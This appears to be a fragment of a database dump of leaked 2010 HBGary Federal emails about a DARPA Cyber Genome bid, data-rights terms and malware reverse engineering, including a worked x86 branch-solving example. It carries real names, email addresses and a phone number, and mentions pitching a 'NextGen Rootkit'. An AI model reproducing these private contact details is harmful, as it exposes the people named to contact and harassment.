&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 410-993-6499\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n\"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9412,'aaron_hbgary_com/9412.html'),(4056,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002156.M230071P3547Q4056.eml','\"Greg Hoglund\" <greg@hbgary.com>','Two things','I thought someone told me there was an existing paper that was put together on using the DDNA foundation as a payload module.  Does such a paper exist.\r\n\r\nAlso, do you have a brief write up on your NextGen Rootkit.  I would like to take both of these and pitch them to the UNO customer.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12531,'aaron_hbgary_com/12531.html'),(4057,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002156.M519294P3547Q4057.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Data rights language for DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve had a couple of conversations with Dave Metzger,\r\nattorney with lots of gov&#8217;t contract knowledge.&nbsp; Attached is the\r\ndata rights doc he wrote.&nbsp; I asked him to write it so we could insert it\r\ndirectly into the proposal. &nbsp;I want feedback from everybody so we can come\r\nto a group consensus on the language.\r\n\r\n&nbsp;\r\n\r\nMetzger is taking what I consider to be a &#8220;middle road&#8221;.&nbsp;\r\nIn this doc we are asserting Restricted Rights for our patents and products,\r\nbut providing unlimited rights on everything else even though by statue we have\r\nthe legal basis to assert SBIR Data Rights or could downgrade that to Specially\r\nNegotiated Rights.\r\n\r\n&nbsp;\r\n\r\nIn reading the doc you will see that HBGary may end up NOT\r\ndelivering any HBGary IP, in such case all data will be unlimited rights.&nbsp;\r\nMetzger wrote the doc so that IF we deliver HBGary IP related to patents or\r\nproducts then it would be with restricted rights.&nbsp; Makes sense.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron prefers to &#8220;punt&#8221; on data rights question &#8211;\r\nnot deliver any IP so no need to assert restricted rights &#8211; everything is\r\nunlimited rights.&nbsp; Then if we find DURING THE CONTRACT that we need to use\r\nHBGary IP, we go back and re-negotiate data rights.&nbsp; Aaron&#8217;s concern\r\nis that asserting restricted rights could reduce our odds of winning. &nbsp;The\r\npreference of Metzger and myself is to declare what is ours, state that we may\r\nnot use it, but if we do it is with restricted rights.&nbsp; \r\n\r\n&nbsp;\r\n\r\nEqually important &#8211; A big percentage of the new work\r\nwill be automated malware r/e analysis tools which is clearly an extension of\r\npast SBIR work.&nbsp; The assertion of data rights doc as currently written\r\ngives the gov&#8217;t unlimited rights to this.\r\n\r\n&nbsp;\r\n\r\nMy view is that DDNA and our current products are the Family\r\nJewels and must be protected.&nbsp; On the other hand, the money we would get\r\nfrom DARPA is gravy that extends our malware analysis (not detection but the knowledge\r\ngained would make our detection better).\r\n\r\n&nbsp;\r\n\r\nNote:&nbsp; DARPA is only interested in research and\r\nprototypes (not products).&nbsp; Even with gov&#8217;t getting unlimited rights,\r\nHBGary owns the IP.&nbsp; The rule is that we cannot resell the gov&#8217;t\r\nwhat they already paid for, but his will not prevent us from selling resulting\r\nproducts back to the gov&#8217;t.&nbsp; Why?&nbsp; At best the gov&#8217;t will\r\nbe paying for prototypes &#8211; we will be selling them finished commercial\r\nsoftware products instead.\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7830,'aaron_hbgary_com/7830.html'),(4058,'2010-03-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002156.M738888P3547Q4058.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Reconstruction of Executables from Memory Images','Cool.  Here are some interesting points:\r\n \r\n1)  unpacking / deobfuscation is equivalent to converting an on-disk into an in-memory image \r\n \r\nIf they value #1, but want to convert memory back to disk, then maybe it&#39;s just terminology.  Yeah well, point is, we can get what we need for reverse engineering.  Just remember - you can&#39;t get back to the original file, that is a fool&#39;s errand.\r\n\r\n \r\n2) consider that you will never have to brute force branches.  Using runtime only I think you can get everything you need, not sure why you would need static analysis at all.  Brute forcing branches is equivalent to fuzzing.  Instead, all branches should be traced back to the originating data that controls the branch.  We did all this 5 years ago, this is old hat to me.  So, you simply reverse trace all those branches and combine this with a master control flow graph of the whole program, its must easier than it sounds.  To give you an example of how a branch condition can be solved: \r\n\r\n \r\nConsider the following branch condition:\r\n \r\nBLOCK_A:\r\nmov eax, [buf]\r\nxor eax, 0x0F0F\r\nadd eax, 1\r\ncmp eax, 0xFF\r\njne BLOCK_C\r\nBLOCK_B:\r\n-- code here ---\r\nBLOCK_C:\r\n--- code here ---\r\n \r\nThe buffer controls the branch, but this is non trivial.  There is an XOR and an ADD and the result of these two arithmetic operations controls the branch. SO, you have to reverse the arithmetic in order to control the branch.\r\n\r\n \r\nEmulate the BLOCK_A in reverse order with EAX set to the compare condition (the value above which the branch goes one way, or below which goes the other way, or whatever the value has to be to make the branch go the desired way)\r\n\r\n \r\nSTART WITH, EAX = 0xFF \r\nnow, execute arithmetic in reverse:\r\n \r\nsub eax, 1     -- sub is the opposite of add (EAX is now 0xFE)\r\nxor eax, 0x0F0F  -- the opposite of XOR is XOR (EAX is now 0xFF1)\r\n \r\nNow, EAX == 0xFF1\r\n \r\nSo, [buf] needs to contain the value 0xFF1 in order for you to trigger the branch.\r\n \r\nI think most arithemetically controlled branches can be solved in this manner.  This approach doesn&#39;t have fancy mathematical terms associated with it - it just works.  No fancy &quot;polynomial solvers&quot; required.  Weird calculations, such as hashes that control branches, cannot be reversed using this method, but that will be a rare cornercase at best and probably not worth trying to solve.  In other words, it won&#39;t magically re-encrypt decrypted data, and it won&#39;t magically re-pack unpacked executables.  Such problems are way beyond the scope of this DARPA work since they cross the line into cryptography.\r\n\r\n \r\nFood for thought anyway,\r\n-Greg\r\n \r\n \r\nOn Sun, Mar 14, 2010 at 8:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOK.  Jason Upchurch is one such fella.  I think it is mostly due to existing environment where DC3 mostly gets malware on disk today.  When looking at better technology such as HBGary and Pikewerks he is looking for a way to bring the malware back.  I definitely get the point it doesn&#39;t make a whole lot of sense.  So I have SRI International on the team who has past performance and capability in De-obfuscation and trigger analysis.  They round out the team so I am trying to make their statement of work solid, they made some recommendations for reconstruction of binaries from memory images that just didn&#39;t seem to sit right. \r\n\r\nSo I think the tasks that are most beneficial for them are unpacking/de-obfuscation at the pre-processor phase for some quick instrumentation and analysis.  According to Martin&#39;s approach for improved branch execution, we are going to do an iterative static/dynamic analysis to bleed out information to invoke execution branches smartly rather than trying to brute force them.  Also automated trigger and anti-analysis techniques.\r\n\r\n\r\nI get it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 14, 2010, at 10:53 PM, Greg Hoglund wrote:\r\n\r\nIt will be impossible to reconstruct a perfect disk image from a memory image.  The process of loading into memory is non-reversible back to disk in most cases.  There is more than one technical reason for this.  Sections are re-organized and there are memory mapped pages of memory never probe in thus vast regions of zero&#39;d memory that should contain data.  Much of the data is calculated at runtime and if the source of this calculation is not mapped in memory you will have to guess at what it&#39;s doing to load.  Also, some code is self modifying at startup and there is going to be code loss in addition to missing data - stuff you can&#39;t reverse back.  HBGary tried to solve these problems about 3 years ago and we threw in the towel.  The other thing is, WHY bother?   \r\n\r\n \r\nIt should be possible to reconstruct execution and trace data from a memory image, and anyone can create a portable format for storing executables.  Be wary of people who think you need an on-disk image to perform reverse engineering / static analysis.  I have run across a few that subscribe to this idea.  It&#39;s a gross mis-step in logic.  The first thing a reverse engineer does with an on disk image is try to reconstruct what it would look like in memory so they can emulate / approximate what the code will do.  Going back to disk when you already have memory is like taking a step back just so you can step forward again :-)\r\n\r\n \r\n\r\nAll that said, memory images CAN be executed again, but this execution will never be true to the original binary, only an approximation.  In effect, because it&#39;s been translated, it represents a different program than the one that resided on disk before the load.  While it&#39;s a morphic state machine, it&#39;s not an iso-morphic state machine.\r\n\r\n \r\n \r\n-G    \r\nOn Sun, Mar 14, 2010 at 7:20 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so from a government perspective I see there is some benefit of having reconstruct binaries from disk or memory, to have somewhat of a standard that can be easily transported, etc.  So SRI is on the team to reconstruct binaries from process or memory, rebuilding import tables, entry points, etc.\r\nIn your opinion what is the efficacy of this?  Difficulty?Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1909,'aaron_hbgary_com/1909.html'),(4059,'2010-03-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002156.M968641P3547Q4059.eml','\"Aaron Barr\" <aaron@hbgary.com>','From BAA/RFP','7.  INTELLECTUAL PROPERTY It is the responsibility of GDAIS and the\r\nproposer to clearly define and articulate all IP-related aspects of our\r\nrespective  proposal.\r\nThe Government expects intellectual property rights under the Cyber\r\nGenome Program be conducive and beneficial to the transition and\r\nproliferation of novel research and technology developed throughout the\r\nGovernment and to non-Government entities, laboratories, and academia.\r\nTo facilitate this vision, the Government desires that all software and\r\ntechnical data developed under the contract be delivered with unlimited\r\nrights so that they may be shared with the cyber community, both inside\r\nand outside of the Government.  However, if the proposer believes that\r\nsoftware and technical data to be delivered under this contract can be\r\nprovided with less than unlimited rights and still satisfy the\r\ngovernment requirements, the proposer may provide this information in\r\nits proposal, and the government will consider this information during\r\nthe evaluation.  A more favorable evaluation will be given to those\r\nproposals that do not contain any limitations on the software and\r\ntechnical data, and associated license rights, respectively.  If the\r\nproposer proposes to use software and technical data developed\r\nexclusively at private expense to satisfy the government requirements,\r\nthe government may be willing to purchase appropriate use rights to\r\nsatisfy the government requirements.  If a proposer pursues this\r\npossibility, the proposer should include in its cost proposal the cost\r\nfor an option to purchase appropriate use rights. During the source\r\nselection process, the Government must have a clear and detailed\r\nunderstanding from the contractor’s written proposal of the existence\r\nand nature of all applicable intellectual property-based restrictions or\r\nlimitations, as well as any other restrictions and limitations on the\r\nproposed research and prototype system.  Proposers should clearly\r\nexplain how such restrictions and limitations will affect the\r\ngovernment, other organizations, researcher, and academia that may wish\r\nto use technologies used or developed in the Cyber Genome Program.\r\nDeficiencies in proposals that do not contain a sufficiently detailed\r\nand clear disclosure and explanation of the existence and effects of all\r\nsuch restrictions and limitations will likely be reflected in evaluation\r\nscoring during source selection.\r\n',16269,'aaron_hbgary_com/16269.html'),(4060,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002157.M151074P3547Q4060.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Data rights language for DARPA proposals','OK. &nbsp;I think we are getting closer to getting it right so IP is protected and we don\'t lessen our chances to win. &nbsp;What does restricted data rights mean?AaronOn Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:Penny and Aaron,&nbsp;I’ve had a couple of conversations with Dave Metzger, attorney with lots of gov’t contract knowledge.&nbsp; Attached is the data rights doc he wrote.&nbsp; I asked him to write it so we could insert it directly into the proposal. &nbsp;I want feedback from everybody so we can come to a group consensus on the language.&nbsp;Metzger is taking what I consider to be a “middle road”.&nbsp; In this doc we are asserting Restricted Rights for our patents and products, but providing unlimited rights on everything else even though by statue we have the legal basis to assert SBIR Data Rights or could downgrade that to Specially Negotiated Rights.&nbsp;In reading the doc you will see that HBGary may end up NOT delivering any HBGary IP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc so that IF we deliver HBGary IP related to patents or products then it would be with restricted rights.&nbsp; Makes sense.&nbsp;&nbsp;Aaron prefers to “punt” on data rights question – not deliver any IP so no need to assert restricted rights – everything is unlimited rights.&nbsp; Then if we find DURING THE CONTRACT that we need to use HBGary IP, we go back and re-negotiate data rights.&nbsp; Aaron’s concern is that asserting restricted rights could reduce our odds of winning. &nbsp;The preference of Metzger and myself is to declare what is ours, state that we may not use it, but if we do it is with restricted rights.&nbsp;&nbsp;Equally important – A big percentage of the new work will be automated malware r/e analysis tools which is clearly an extension of past SBIR work.&nbsp; The assertion of data rights doc as currently written gives the gov’t unlimited rights to this.&nbsp;My view is that DDNA and our current products are the Family Jewels and must be protected.&nbsp; On the other hand, the money we would get from DARPA is gravy that extends our malware analysis (not detection but the knowledge gained would make our detection better).&nbsp;Note:&nbsp; DARPA is only interested in research and prototypes (not products).&nbsp; Even with gov’t getting unlimited rights, HBGary owns the IP.&nbsp; The rule is that we cannot resell the gov’t what they already paid for, but his will not prevent us from selling resulting products back to the gov’t.&nbsp; Why?&nbsp; At best the gov’t will be paying for prototypes – we will be selling them finished commercial software products instead.&nbsp;Thoughts?&nbsp;Bob&nbsp;&lt;Technical Data Rights - from Metzger.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6759,'aaron_hbgary_com/6759.html'),(4061,'2010-03-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002157.M350460P3547Q4061.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Two things','I cannot draw any links between DDNA and exploitation - i don&#39;t know how those are related.\r\n \r\nI don&#39;t think there is any write up on the next gen thing.  We would have to make it.\r\n \r\n-Greg\r\nOn Mon, Mar 15, 2010 at 7:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI thought someone told me there was an existing paper that was put together on using the DDNA foundation as a payload module.  Does such a paper exist.\r\nAlso, do you have a brief write up on your NextGen Rootkit.  I would like to take both of these and pitch them to the UNO customer.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',16324,'aaron_hbgary_com/16324.html'),(4062,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002157.M538546P3547Q4062.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Quick technical question','In UCBerkley\'s approach to extracting symbols during RE for branch execution.  How do they deal with an executable that has its symbols table stripped from code?\r\n\r\nOr do I have the wrong approach?\r\n\r\nAlso, in talking with Greg he believes trying to reconstruct a binary from memory is not possible, to many dynamic un-reversable things happen.\r\n\r\nOn TA3 we are going to take a purely memory based approach, using SRI to do trigger analysis and any pre-processing for de-obfuscation/unpacking.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14206,'aaron_hbgary_com/14206.html'),(4063,'2010-03-15','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002157.M741481P3547Q4063.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,,,','Bidding Travel Costs - RFP Attachment 9 Pricing Template - Cyber Genome','\r\n\r\n\r\n\r\n\r\nHi \r\nTeam,\r\n&nbsp;\r\nJust a reminder that you \r\nwill need to to embed the revised travel information that I emailed to you last \r\nFriday into RFP Attachment 9 Pricing Template (sanitized and unsanitized \r\ntemplates). This action is necessary as the latest revised Pricing Template does \r\nnot include all trip information.&nbsp; This action should be a simple \r\ncut/paste.&nbsp;&nbsp;&nbsp;&nbsp; \r\n&nbsp;\r\nAlso, please ensure your \r\ntravel price&nbsp;includes all trips identified in the updated travel document; \r\nI\'ve reattached the update so you don\'t have to hunt for my Friday \r\nemail!&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy \r\nLarson&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n',7954,'aaron_hbgary_com/7954.html'),(4064,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002157.M958554P3547Q4064.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Reconstruction of Executables from Memory Images','Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: March 15, 2010 11:07:52 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Reconstruction of Executables from Memory ImagesCool.&nbsp; Here are some interesting points:\r\n&nbsp;\r\n1)&nbsp; unpacking / deobfuscation is equivalent to converting an on-disk into an in-memory image \r\n&nbsp;\r\nIf they value #1, but want to convert memory back to disk, then maybe it\'s just terminology.&nbsp; Yeah well, point is, we can get what we need for reverse engineering.&nbsp; Just remember - you can\'t get back to the original file, that is a fool\'s errand.\r\n\r\n&nbsp;\r\n2) consider that you will never have to brute force branches.&nbsp; Using runtime only I think you can get everything you need, not sure why you would need static analysis at all.&nbsp; Brute forcing branches is equivalent to fuzzing.&nbsp; Instead, all branches should be traced back to the originating data that controls the branch.&nbsp; We&nbsp;did all this 5 years ago, this is old hat to me.&nbsp; So, you simply reverse trace all those branches and&nbsp;combine this with a master control flow graph of the whole&nbsp;program, its must easier than it sounds.&nbsp;&nbsp;To give you an example of how a branch condition can be solved:&nbsp;\r\n\r\n&nbsp;\r\nConsider the following branch condition:\r\n&nbsp;\r\nBLOCK_A:\r\nmov eax, [buf]\r\nxor eax, 0x0F0F\r\nadd eax, 1\r\ncmp eax, 0xFF\r\njne BLOCK_C\r\nBLOCK_B:\r\n-- code here ---\r\nBLOCK_C:\r\n--- code here ---\r\n&nbsp;\r\nThe buffer controls the branch, but this is non trivial.&nbsp; There is an XOR and an ADD and the result of these two arithmetic operations controls the branch. SO, you have to reverse the arithmetic in order to control the branch.\r\n\r\n&nbsp;\r\nEmulate the BLOCK_A in reverse order with EAX set to the compare condition (the value above which the branch goes one way, or below which goes the other way, or whatever the value has to be to make the branch go the desired way)\r\n\r\n&nbsp;\r\nSTART WITH, EAX = 0xFF \r\nnow, execute arithmetic in reverse:\r\n&nbsp;\r\nsub eax, 1&nbsp;&nbsp;&nbsp;&nbsp; -- sub is the opposite of add (EAX is now 0xFE)\r\nxor eax, 0x0F0F&nbsp; -- the opposite of XOR is XOR (EAX is now 0xFF1)\r\n&nbsp;\r\nNow, EAX == 0xFF1\r\n&nbsp;\r\nSo, [buf] needs to contain the value 0xFF1 in order for you to trigger the branch.\r\n&nbsp;\r\nI think most arithemetically controlled branches can be solved in this manner.&nbsp; This approach doesn\'t have fancy mathematical terms associated with it - it just works.&nbsp; No fancy \"polynomial solvers\" required.&nbsp; Weird calculations, such as hashes that control branches, cannot be reversed using this method, but that will be a rare cornercase at best and probably not worth trying to solve.&nbsp; In other words, it won\'t magically re-encrypt decrypted data, and it won\'t magically re-pack unpacked executables.&nbsp; Such problems are way beyond the scope of this DARPA work since they cross the line into cryptography.\r\n\r\n&nbsp;\r\nFood for thought anyway,\r\n-Greg\r\n&nbsp;\r\n&nbsp;\r\nOn Sun, Mar 14, 2010 at 8:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOK. &nbsp;Jason Upchurch is one such fella. &nbsp;I think it is mostly due to existing environment where DC3 mostly gets malware on disk today. &nbsp;When looking at better technology such as HBGary and Pikewerks he is looking for a way to bring the malware back. &nbsp;I definitely get the point it doesn\'t make a whole lot of sense. &nbsp;So I have SRI International on the team who has past performance and capability in De-obfuscation and trigger analysis. &nbsp;They round out the team so I am trying to make their statement of work solid, they made some recommendations for reconstruction of binaries from memory images that just didn\'t seem to sit right. \r\n\r\nSo I think the tasks that are most beneficial for them are unpacking/de-obfuscation at the pre-processor phase for some quick instrumentation and analysis. &nbsp;According to Martin\'s approach for improved branch execution, we are going to do an iterative static/dynamic analysis to bleed out information to invoke execution branches smartly rather than trying to brute force them. &nbsp;Also automated trigger and anti-analysis techniques.\r\n\r\n\r\nI get it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 14, 2010, at 10:53 PM, Greg Hoglund wrote:\r\n\r\nIt will be impossible to reconstruct a perfect disk image from a memory image.&nbsp; The process of loading into memory is non-reversible back to disk in most cases.&nbsp; There&nbsp;is more than one technical&nbsp;reason for this.&nbsp; Sections are re-organized and there are&nbsp;memory mapped pages of memory never probe in thus&nbsp;vast regions of zero\'d memory that should contain data.&nbsp;&nbsp;Much of the data is calculated at&nbsp;runtime and if the source of this calculation is not mapped in memory you will have to guess at&nbsp;what it\'s doing to load.&nbsp; Also, some code&nbsp;is self modifying at startup and there is going to be code loss in addition to missing data - stuff you can\'t reverse back.&nbsp; HBGary tried to solve these problems about 3 years ago and we threw in the towel.&nbsp; The other thing is, WHY bother?&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nIt should be possible to reconstruct execution and trace data from a memory image, and anyone can create a portable format for storing executables.&nbsp; Be wary of people who think you need an on-disk image to perform reverse engineering / static analysis.&nbsp; I have run across a few that&nbsp;subscribe to this&nbsp;idea.&nbsp;&nbsp;It\'s a gross mis-step in logic.&nbsp; The first thing a reverse engineer&nbsp;does with an on disk image is try to reconstruct what it would&nbsp;look like in memory so they can emulate / approximate what the code will do.&nbsp; Going back to disk when you already have memory is like&nbsp;taking a step back just so you can step forward again :-)\r\n\r\n&nbsp;\r\n\r\nAll that said, memory images CAN be executed again, but this execution will never be true to the original binary, only an approximation.&nbsp; In&nbsp;effect, because it\'s been translated,&nbsp;it represents a different program than the one that resided on&nbsp;disk before the load.&nbsp; While it\'s a morphic state machine, it\'s not an iso-morphic state machine.\r\n\r\n&nbsp;\r\n&nbsp;\r\n-G&nbsp;&nbsp;&nbsp; \r\nOn Sun, Mar 14, 2010 at 7:20 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so from a government perspective I see there is some benefit of having reconstruct binaries from disk or memory, to have somewhat of a standard that can be easily transported, etc. &nbsp;So SRI is on the team to reconstruct binaries from process or memory, rebuilding import tables, entry points, etc.\r\nIn your opinion what is the efficacy of this? &nbsp;Difficulty?Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9658,'aaron_hbgary_com/9658.html'),(4065,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002158.M183018P3547Q4065.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Data rights language for DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRestricted Rights means the gov&#8217;t can only do with the data what\r\nwe explicitly allow them to do with it.&nbsp; For example, people can use Responder\r\nPro as per the software license agreement.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 11:10 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: Re: Data rights language for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK. &nbsp;I think we are getting closer to getting it right\r\nso IP is protected and we don\'t lessen our chances to win. &nbsp;What does\r\nrestricted data rights mean?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nhad a couple of conversations with Dave Metzger, attorney with lots of gov&#8217;t\r\ncontract knowledge.&nbsp; Attached is the data rights doc he wrote.&nbsp; I\r\nasked him to write it so we could insert it directly into the proposal. &nbsp;I\r\nwant feedback from everybody so we can come to a group consensus on the\r\nlanguage.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMetzger\r\nis taking what I consider to be a &#8220;middle road&#8221;.&nbsp; In this doc we are\r\nasserting Restricted Rights for our patents and products, but providing\r\nunlimited rights on everything else even though by statue we have the legal\r\nbasis to assert SBIR Data Rights or could downgrade that to Specially\r\nNegotiated Rights.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the doc you will see that HBGary may end up NOT delivering any HBGary\r\nIP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc\r\nso that IF we deliver HBGary IP related to patents or products then it would be\r\nwith restricted rights.&nbsp; Makes sense.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nprefers to &#8220;punt&#8221; on data rights question &#8211; not deliver any IP so no need to\r\nassert restricted rights &#8211; everything is unlimited rights.&nbsp; Then if we\r\nfind DURING THE CONTRACT that we need to use HBGary IP, we go back and\r\nre-negotiate data rights.&nbsp; Aaron&#8217;s concern is that asserting restricted rights\r\ncould reduce our odds of winning. &nbsp;The preference of Metzger and myself is\r\nto declare what is ours, state that we may not use it, but if we do it is with\r\nrestricted rights.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEqually\r\nimportant &#8211; A big percentage of the new work will be automated malware r/e analysis\r\ntools which is clearly an extension of past SBIR work.&nbsp; The assertion of\r\ndata rights doc as currently written gives the gov&#8217;t unlimited rights to this.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy\r\nview is that DDNA and our current products are the Family Jewels and must be\r\nprotected.&nbsp; On the other hand, the money we would get from DARPA is gravy\r\nthat extends our malware analysis (not detection but the knowledge gained would\r\nmake our detection better).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNote:&nbsp;\r\nDARPA is only interested in research and prototypes (not products).&nbsp; Even\r\nwith gov&#8217;t getting unlimited rights, HBGary owns the IP.&nbsp; The rule is that\r\nwe cannot resell the gov&#8217;t what they already paid for, but his will not prevent\r\nus from selling resulting products back to the gov&#8217;t.&nbsp; Why?&nbsp; At best\r\nthe gov&#8217;t will be paying for prototypes &#8211; we will be selling them finished\r\ncommercial software products instead.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Technical\r\nData Rights - from Metzger.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16327,'aaron_hbgary_com/16327.html'),(4066,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002158.M426157P3547Q4066.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Data rights language for DARPA proposals','OK so we need to define it and put it in the proposal if we are going to use this language. &nbsp;We don\'t want to leave it open ended. &nbsp;If we are going to claim restricted rights what are we going to state they can do with it.AaronOn Mar 15, 2010, at 11:43 AM, Bob Slapnik wrote:Restricted Rights means the gov’t can only do with the data what we explicitly allow them to do with it.&nbsp; For example, people can use Responder Pro as per the software license agreement.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 15, 2010 11:10 AMTo:&nbsp;Bob SlapnikCc:&nbsp;\'Penny Leavy\'; \'Ted Vera\'Subject:&nbsp;Re: Data rights language for DARPA proposals&nbsp;OK. 